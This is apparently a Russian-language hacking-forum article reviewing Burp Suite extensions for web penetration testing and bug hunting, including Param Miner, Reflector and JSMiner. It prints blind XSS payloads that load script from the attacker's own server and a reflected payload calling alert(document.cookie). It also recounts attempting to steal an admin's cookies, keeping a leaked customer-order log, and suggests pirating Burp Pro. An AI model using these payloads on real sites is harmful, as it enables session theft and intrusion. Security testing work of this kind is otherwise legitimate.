Не удалось прогрузить медиа
В статье не содержатся призывы к нарушению законодательства. Автор не несёт ответственности за возможные действия третьих лиц, предпринятые на основе прочитанного.
Вступление
В 2003 году James Kettle впервые анонсировал инструмент Burp Suite, написанный его компанией portswigger. Тогда публике он очень понравился, и с того момента он стал неотъемлемой частью инструментария у любого веб пентестера. Я не помню времени, когда я садился тестить веб приложения и не запускал его.
Важно понимать, что когда мы говорим про burp suite то это не только Proxy и Repeater. Он напичкан всякими инструментами по типу collaborator, intruder, comparer какие я использую постоянно. Но почему-то много кто забивает на то, что для burp suite можно написать кастомные плагины, какие очень упростят и автоматизируют работу. Часть из уже готовых находится во вкладке Extensions
Не удалось прогрузить медиа
А часть из них вы можете скачать из открытого доступа. Например на GitHub. И сегодня я хотел бы показать те плагины, какие я использую на постоянной основе при тестировании
[NOTE] Почти для всех плагинов вам нужен Burp Suite Pro. Скачайте crack или купите
Param Miner
Ну это мой фаворит. Я его использую максимально часто.
Основное предназначение этого расширения - это поиск скрытых параметров и заголовков. Как по мне, оно превосходит те самые arjun и x8 в разы. Не буду врать, этот плагин я использую нереально часто, почти в каждом запросе..
Давайте сперва разберемся зачем нужно это искать.
Вообще, скрытые параметры/заголовки - это то, что пользователь не видит на прямую, но сервер их принимает. Возьмём вот такой пример, для понимания зачем это надо:
Есть простая форма регистрации site.com/register . Вроде обычная форма, но она может скрывать от глаз что-то интересное, например, параметр isadmin. И если мы добавим isadmin=true, то зарегаемся от имени админа. Не ищите в таком определенной логики, если вы нашли какой-то параметр, то сами ищите для чего он нужен и что с ним можно интересного сделать
В 50проц случаях, всегда всякие уязвимости (та самая SQLi) спрятаны в скрытых параметрах, какие забыли со времен динозавров и до вас их никто не видел. Аналогично и с заголовками. Но давайте продолжим рассматривать плагин:
Он имеет 4 основных функции, все остальные я никогда не юзал
Не удалось прогрузить медиа
Guess headers - пробует угадать скрытые заголовки. Кстати, большой + Param Miner’a в том, что он использует cache busterы. Так шанс что что-то упустить довольно мал.
Все находки он вам кидает в Issues и в Output (Чекайте output, если у вас не Burp Suite pro)
Не удалось прогрузить медиа
Не удалось прогрузить медиа
Но вывод в output очень не удобен, если вы синхронно что-то ищите на несколько страницах то это вообще беда. Советую не полениться и скачать burp suite pro
Я нашёл для себя свой метод использования функции перебора заголовков. При запуске единственное, что я меняю - это canary. Туда я пихаю blind xss пэйлоады и burp collaborator, url чтобы ловить пингбэки
Не удалось прогрузить медиа
Вот вам мой список blind xss payloads какие я туда пихаю
Code:
--></tiTle></stYle></texTarea></scrIpt>"//'//><scrIpt src= https://вашсервер></scrIpt>
';"</script><script/src=//https://вашсервер></script>
И стандартные с xss report (доступны там в профиле)
Был у меня 1 случай, когда это неожиданно сработало. Спустя где-то неделю после ночных тестирований я словил неожиданное уведомление от xss.report, что пелоад стрельнул прямо в админке
Не удалось прогрузить медиа
Я знатно охуел. Но куки вытащить не удалось :((
Как это сработало ? Когда Param Miner перебирал со своего словаря заголовки, он отправил запрос с каким-то заголовком, какой отвечает скорее всего за аналитику. Ну и когда какой-то работник просматривал логи через веб панель я заразил его случайно =)
Guess query params используется для поиска скрытых параметров в GET запросах.
Не удалось прогрузить медиа
В основном в таких параметрах я ловил всякие логические баги по типу любимых idorчиков. Но и бывало такое, что были и всякие SQLi.
Наверное самый такой запоминающийся случай был, когда я тестировал одно веб приложение на заказ на базе bitrix. В корне сайта был найден параметр ?action . Я дал ему значение download и получил лог файл log.txt с 200 заказами. Я даже его у себя на память оставил.
Не удалось прогрузить медиа
Тут находяться служебные записи о срабатывании событий в Битриксе. Это очень нетипично для bitrix’a, и я минут 10 охуевал и не понимал что случилось. Ну и ладно, у кодера наверное свои тараканы в голове
body params. Тут мне нечего добавить, работает так же как и query params. Могу только от себя добавить, что в POST запросах намного больше встречается скуля. Думаю такой совет будет полезный для аудитории форума
Guess cookies поможет обнаружить скрытые атрибуты в cookies. Если честно, я так ничего и не встретил интересного с этой функцией. Но это не значит, что ее не стоит использовать.
Reflector
А вот это просто нереальный плагин. Тоже мой фаворит. Те кто любит xss и не слышал о нем, готовьтесь, я сейчас вам поменяю процесс обнаружения alert’ов )
Не удалось прогрузить медиа
Простота — высшая степень утончённости» (Леонардо да Винчи). Работает просто, но метко. Он в значения параметров пихает спец. символы по типу < > ‘ | “ - …. . Если спец символы не экранированы - он уведомит вас об этом с красным флажком.
Не удалось прогрузить медиа
Также он уведомит, если отражаются какие то атрибуты в куки (очень полезно для отравления кэша) ну и если отражаются параметры. Мало ли, вам захочется вручную сорвать целку с санитайзера
Не удалось прогрузить медиа
С param miner и katana это расширение просто мясо. (запускаем katana и через флаг –proxy пускаем трафик через бурп) . Вот вам моя недавняя находка (ещё даже не успели трижнуть). Это благодаря работе в паре с Param Miner’ом, а katana просто нашёл мне этот эндпоинт пока лазил по сайту
Не удалось прогрузить медиа
Param Miner нашёл скрытый параметр client_id. Оказалось, что этот параметр не экранировал ВООБЩЕ никакие спец символы. Ему было просто наплевать, пускал через себя все что видел.
Не удалось прогрузить медиа
Отражалось значение в JSON. В итоге самый простой пейлоад text%22-alert(document.cookie)-%22test
мне выдал pop up =). Так мало того еще и с куками.
И таких примеров с этим расширением у меня куча. Вы можете просто лутать халявные XSS. Не видел нигде чтоб писали о том, как reflector и param miner/katana в паре шуму наводят. Поэтому exclusive
Не удалось прогрузить медиа
Software vulnerability scanner
Вот вы ведь тоже, когда ищите инфу о какой-то CVE в гугле, кликаете на vulners.com ? Я ж не один такой?) Не знаю почему, но vulners.com мне больше всего нравиться из всех аналоговых сайтов какие есть. И вот недавно я узнал, что они оказывается давным давно они выпустили чертовски полезный плагин для Burp suite
Не удалось прогрузить медиа
Суть в том, что при серфинге таргета он детектит технологии и смотрит, уязвимы ли они к каким-то CVEхам
Я его больше использую как дополнение к wappalyzer, чтобы более тщательно пройтись по технологиям используемыми таргетов.
Не удалось прогрузить медиа
Он часто что-то находит. Так что я вам советую после окончания теста над каким то таргетом выделить день и прогнать таргет по найденным эксплоитам.
Collaborator Everywhere
Collaborator everywhere - это расширение, какое автоматически пихает burp collaborator везде где только можно в запросе. Преимущественно в заголовки. Но стоит помнить, что вы можете сами настроить работу плагина и показать ему, куда пихать collaborator url
Не удалось прогрузить медиа
Преимущественно это полезно для blind ssrf. Но так же может помочь в уязвимостях по типу отравления кэша и sqli
На это расширение я наткнулся где-то 2 недели назад, и у меня появилась вот такая вот интересная находка. Скорее аномалия. Хотелось бы показать что-то серьезнее, ну уж простите, что есть то и показываю.
В issues мне пришло, что через заголовок x-forwarded-for прилетает пингбэк на коллаборатор.
Не удалось прогрузить медиа
Немного покопавшись, я ничего интересного не нашел. Но если поставить /, то ломается парсер и вылетает вот такая вот ошибка
Не удалось прогрузить медиа
Так что если что предложить, то пишите в лс. Если будет что-то интересное, я с радостью напишу за просто так статью на форум. Баунти поделим
Content type converter
Это расширение поможет вам конвертировать параметры POST запроса в XML / JSON формат. Ничего больше сказать про него я не могу
Не удалось прогрузить медиа
Но я хотел бы выделить 2 интересных бага, найденных ресерчерами при помощи этого расширения.
- JSON в XXE
Лет 10 назад json никто не использовал, тогда все использовали печально известный xml. Но со временем технологии меняются, и на замену ему пришел json. Теперь не читайте дальше, и подумайте, что я хочу вам рассказать. Подумали? Двигаем дальше. На некоторых веб приложениях может использоваться json, но тот же функционал с xml тоже доступен, просто он забыт где то далеко и об этом знает только сам кодер и его кореш.
Поэтому мы просто конвертируем с json в xml и смотрим на ответ. Если он аналогичен с запросом где в теле json или кидает какую-то ошибку по типу {"errors":{"errorMessage":"org.xml.sax.SAXParseException: XML document structures must start and end within the same entity."}}
То вы нашли эндпоинт, где используется XML. Дальше найти XXE и эксплуатировать за вами
Референс: https://www.netspi.com/blog/technical-blog/web-application-pentesting/playing-content-type-xxe-json-endpoints/
- Account takeover на GitLab
Референс: https://hackerone.com/reports/2293343
Jsminer
Тоже очень полезный инструмент. Он смотрит .js файлы какие пролетают через прокси на наличие чего-то интересного. Тоже очень мощно себя проявляет, когда работает вместе с katana
Не удалось прогрузить медиа
Может выявлять зависимости в NPM и проверять наличии уязвимости Dependency Confusion в проектах
Не удалось прогрузить медиа
Может находить какие-то забытые апи ключи и другие креды. Правда в 99проц случаев спамит фолс позитивами, нужно все проверять ручками
Не удалось прогрузить медиа
Также мне очень нравиться, что в этом инструменте есть поиск поддоменов. Можете считать это небольшим дополнением к прошлой статье, где я показываю методы сбора поддоменов https://forum.LIMB.cc/threads/1020/
Не удалось прогрузить медиа
Также он может пассивно проверять JS файлы, какие есть в .map, доставать ссылки на облачные хранилища, доставать api endpoint'ы и немного других второстепенных фич.
Под конец статьи я бы хотел вам пожелать смачных багов. И хотел бы попросить делиться своими находками в лс, какие были найдены благодаря материалу какой я сюда пишу, чтобы меня порадовать. Удачи
👍33
🔥4
😮9
🤔6
LIMB